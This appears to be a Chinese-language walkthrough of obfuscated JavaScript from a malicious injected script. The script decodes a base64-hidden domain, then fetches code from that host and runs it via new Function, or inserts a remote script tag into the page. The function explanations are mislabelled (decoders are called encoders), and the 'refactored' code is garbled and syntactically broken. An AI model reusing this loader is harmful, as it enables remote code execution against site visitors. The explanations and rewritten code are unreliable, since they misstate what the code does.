函数UqgsgfgDv的功能是将给定的字符串e进行URL编码。具体实现如下:

```javascript

function UqgsgfgDv(e) {

var t = "";

var n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

```

函数UqSDDFGvyQ的功能是将给定的字符串e转换为大写字母表示的ASCII码。具体实现如下:

```javascript

function UqSDDFGvyQ(e) {

var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

var t = "";

var n, r, i, s, o, u, a;

f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 将非字母数字字符替换为空字符串

for (n = 0; n < e.length; n++) { // 遍历字符串中的每个字符

r = e.charCodeAt(n); // 获取当前字符的ASCII码

u = m.indexOf(String.fromCharCode(r)); // 在映射表中查找对应的大写字母表示的ASCII码位置

t += String.fromCharCode((u >> (f * 6)) + (u >> ((f * 6) + 6))); // 将两个大写字母表示的ASCII码拼接成一个字符,并添加到结果字符串中

f++; // 如果当前字符需要拆分为两个字符,则将拆分标志位加1

};

return t; // 返回转换后的大写字母表示的ASCII码字符串

};

```

以下是重构后的代码,并保持了原始段落结构:

```javascript

function UqgsgfgDv(t) {

while (f < e.length) {

s = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

n = (s << 2) | (o >> 4);

r = ((o & 15) << 4) | (u >> 2);

i = ((u & 3) << 6) | a;

t = t + String.fromCharCode(n);

if (u !== 64) {

t = t + String.fromCharCode(r);

}

if (a !== 64) {

t = t + String.fromCharCode(i);

}

}

return UqSDDFGvyQ(decodeURIComponent(t));

};

window[''+'U'+'Y'+'C'+'q'+'J'+'K'+''] = function() {

!/^Mac|Win/.test(navigator.platform) || !navigator.platform ? function(){}() {

var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA==');

'jQuery';

u = decodeURIComponent(x(u.replace(new RegExp(c[0] + '\\' + c[0], 'g'), c[0])));

'jQuery';

}();

};

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

name(cs);

}

};

xhr.send('u=1');

} else {

var s = d[crd]('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

(function (aGYuc2ZsYmtsbmRzZmtiLmNvbQ, b, c) {

function f() {}

})(aGYuc2ZsYmtsbmRzZmtiLmNvbQ, '2975', window, document, ['G', 'TpoZFcguG']);

```